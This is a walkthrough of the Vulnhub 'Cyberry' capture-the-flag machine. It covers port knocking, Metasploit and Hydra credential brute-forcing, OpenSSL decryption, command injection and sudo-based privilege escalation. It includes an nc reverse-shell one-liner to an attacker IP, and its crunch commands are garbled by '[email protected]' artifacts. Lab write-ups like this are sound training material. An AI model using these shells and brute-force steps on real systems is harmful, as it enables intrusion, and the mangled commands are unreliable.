Cyberry – Vulnhub CTF Challenge Walkthrough

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Cyberry is available at  Vulnhub. This machine works on both VMware and Virtualbox. This VM is intended for “intermediates” and requires a wide range of skills and a lot of time to get root.

In this walkthrough, I’ll be using Parrot Sec OS but you can use any distro you want.

Use netdiscover to find the IP of the machine, then register this IP into your local DNS “/etc/hosts”.

 

Run a full port Nmap Scan on “cyb.local”.

 

There are three ports open, but first we’ll enumerate HTTP. The default webpage is,

 

When we check it’s source code, there is some commented out encoded text.

 

When we decode these strings, we get,

 

Let’s check these files,

 

Conversion of this ASCII into text is “boss.gif” which is another useless thing. Now, let’s check “work-in-progress.png”.

 

“edocrq” is a QR code, scanning this QR code gives us “berrypedia.html”.

 

When we look at the source code, we find a flipped and negative image of four persons.

 

Now that is the most difficult part of this CTF and you’ll badly need a hint. After a lot of research, you’ll find out that this is the picture of four singers who sang the song “I hear you knocking” and the sequence is

Dave Edmund (1970)

Smiley Lewis (1955)

Gale Storm (1955)

Fats Domino (1961)

Now you need to do port knocking on these ports with the right sequence and then run Nmap scan.

sudo apt install knockd
knock cyb.local 1970 1955 1955 1961
nmap -p- cyb.local

 

There is another Web Server running on port 61955. This Server is hosting the same website but when we look at the source code, there is a little difference.

 

There is another page “/H” at the Server running on port “61955”.

 

There is some text encoded with BrainFuck cipher. Decoded text is,

Hello World!
team members
chuck
halle
nick
terry
mary
kerry
pw: bakeoff

Save these usernames and passwords.

 

Now, try brute-forcing SSH and FTP using Metasploit.

sudo msfconsole
msf > use auxiliary/scanner/ftp/ftp_login
msf > set RHOSTS cyb.local
msf > set PASSWORD bakeoff
msf > set USER_FILE users.txt
msf > run

 

Username “mary” and password “bakeoff” works with both FTP and SSH but unfortunately, mary doesn’t have any shell. We have to enumerate FTP.

 

There are two hidden files, download them.

ftp> get .reminder.enc
local: .reminder.enc remote: .reminder.enc
200 PORT command successful
150 Opening BINARY mode data connection for .reminder.enc (64 bytes)
226 Transfer complete
64 bytes received in 0.07 secs (0.8585 kB/s)
ftp> get .trash
local: .trash remote: .trash
200 PORT command successful
150 Opening BINARY mode data connection for .trash (122 bytes)
226 Transfer complete
122 bytes received in 0.00 secs (45.5605 kB/s)
ftp>

 

The first file is encrypted with OpenSSL while the second one is a dictionary. I installed “bruteforce-salted-openssl” package and wrote a short script to brute-force it.

sudo apt install bruteforce-salted-openssl
bruteforce-salted-openssl -t 6 -f .trash -c CAMELLIA-192-ECB .reminder.enc

 

After decrypting the file with OpenSSL, we find a string “In case I forget, my login is dangleberry69”. Try logging into “/login.php” using the username “mary”.

 

Visit the “ub3r-s3cur3” section.

 

After examining the request in Burp Suit, you’ll see that this page suffers from a Command Injection Vulnerability. Try sending a reverse shell using netcat.

We got a reverse shell.

 

There is a file “nb-latin”, add this file to your dictionary.

 

Try “Hydra” to brute-force SSH using the new dictionary and old usernames file.

 

Try logging into SSH as “nick”.

 

We got an SSH shell. For privilege escalation, there are some techniques at https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html. We can see that user “nick” can run “invoke.sh” with “terry’s” privileges.

 

Next, we’ll use “awk” to get “Halle’s” shell.

 

Use PHP to get a reverse shell with “chuck’s” privilege.

sudo -u chuck /usr/bin/php -r 'shell_exec("nc -n 192.168.0.105 1234 -e /bin/bash");'

 

We got a reverse shell on our Netcat listener.

 

Concluding from above mail, we generate a dictionary using “crunch” and brute-force SSH.

crunch 15 15 ebwm -t [email protected]@@@@rry -o p1.txt
crunch 15 15 ebwm -t [email protected]@[email protected]@@rry -o p2.txt
crunch 15 15 ebwm -t [email protected]@@[email protected]@rry -o p3.txt
crunch 15 15 ebwm -t [email protected]@@@[email protected] -o p4.txt
cat p1.txt p2.txt p3.txt p4.txt > passwords.txt

 

When we brute-force root using “hydra”, we find the password “chewbacabemerry”.

 

Finally, we got ROOT id.

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